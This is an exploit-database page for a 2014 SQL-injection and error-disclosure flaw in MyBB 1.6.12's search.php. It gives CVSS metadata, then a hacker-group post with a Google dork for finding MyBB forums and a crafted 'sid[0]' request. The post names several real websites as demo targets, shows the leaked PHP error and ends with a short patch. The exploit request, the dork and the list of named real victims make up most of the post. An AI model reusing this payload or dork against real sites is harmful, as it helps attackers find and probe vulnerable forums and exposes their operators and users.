Exploitalert - Database of Exploits

MYBB 1.6.12 search.php Sql injection

CVE	Category	Price	Severity
	CWE-89	$500	High

Author	Risk	Exploitation Type	Date
Unknown	High	Remote	2014-02-25

CVSS	EPSS	EPSSP
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:L	0.02192	0.50148

CVSS vector description

Metric	Value	Metric Description	Value Description
Attack vector	Local	AV	The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity	Low	AC	The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required	Low	PR	The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope	Unchanged	S	An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality	High	C	There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity	High	I	There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability	Low	A	There is reduced performance or interruptions in resource availability. However, the attacker does not have the ability to completely prevent access to the resources or services; the impact is limited.

http://cxsecurity.com/ascii/WLB-2014020202

************************************************** IIIIIIII RRRRRRRRRRRR HHHHHHHH HHHHHHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRRRRRRRR HHHHHHHHHHHHHHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIII RRRR RRRR HHHH HHHH IIIIIIII RRRRRRRR RRRRRR HHHHHHHH HHHHHHHH *************************************************** # Exploit Title: MYBB 1.6.12 search.php Sql injection # Google Dork: intext:"powered by Mybb" # Date: Feb 14, 2014 # Exploit Author: MR.XpR # Tested on: 7 , Kali # Screen Shot : http://uploaderx.persiangig.com/C/mybb_sqli_error.png # Software Link : http://resources.mybb.com/downloads/mybb_1612.zip # Version: 1.6.12 # Vendor Site : http://mybb.com *************************************************** Exploit : search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= Demo : http://community.mybb.com/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= Error : Warning [2] mysqli_real_escape_string() expects parameter 2 to be string, array given - Line: 874 - File: inc/db_mysqli.php PHP 5.4.19 -1~dotdeb.1 (Linux) Exm : http://my-bb.ir/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= http://community.mybb.com/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= http://www.mybb.fr/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order= *************************************************** How To patch : edit search.php and find this line : $sid = $db->escape_string($mybb->input['sid']); change this line to : if(is_array($mybb->input['sid'])) $sid = $db->escape_string(implode($mybb->input['sid'])); else $sid = $db->escape_string($mybb->input['sid']); TnX To : MojiRider,V30sharp,Black.viper,Zer0killer,SecretWalker,FarBodEzrail,Amirio,AL1R3Z4,3is@ ,Mr.a! i,Mr.3ler0n,Irblackhat,inj3ct0r,3inst3in,Remot3r,IRH Member ./IRaNHaCK.org

Impressum